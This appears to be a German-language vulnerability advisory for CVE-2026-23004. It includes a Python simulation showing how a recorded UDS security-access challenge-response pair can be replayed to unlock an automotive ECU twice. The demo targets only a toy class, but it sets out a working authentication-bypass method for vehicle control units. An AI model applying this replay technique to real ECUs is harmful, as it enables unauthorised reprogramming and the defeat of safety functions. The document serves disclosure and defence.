CVE-2026-23004 – Umgehung der UDS-Authentifizierung im Automobilbereich durch Replay-Angriff

Programmcode (Python-CAN‑UDS-Simulation)

# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib

class ECU:
    def __init__(self):
        self.secret = b'long_secret_key'
    def generate_challenge(self):
        self.challenge = random.randbytes(8)
        return self.challenge
    def verify_response(self, response):
        expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
        return response == expected
    def unlock(self):
        print("ECU unlocked! Critical functions accessible.")

# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response)  # first unlock

# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response)  # second unlock without new challenge - works
ecu.unlock()

CVE-2026-23004 – Umgehung der UDS-Authentifizierung im Automobilbereich durch Replay

Übersicht

Ein Automotive-Steuergerät (ECU) implementiert den Sicherheitszugriff (Service 0x27) der Unified Diagnostic Services (UDS), erzwingt jedoch keine Einmalverwendung der Challenge. Ein Angreifer kann ein gültiges Challenge-Response-Paar aufzeichnen und es erneut abspielen, um die Authentifizierung zu umgehen.

Details zur Schwachstelle

• Typ: Replay-Angriff
• Auswirkung: Unautorisierte ECU-Programmierung, Außerkraftsetzen von Sicherheitsfunktionen.
• Grundursache: Das Steuergerät akzeptiert jede Antwort, die zur aktuellen Challenge passt, jedoch kann dieselbe Challenge ohne Ungültigmachung wiederverwendet werden.

Exploit-Demonstration

Führen Sie die Simulation aus:

python uds_sim.py

Das Steuergerät wird mit demselben Authentifizierungspaar zweimal entsperrt.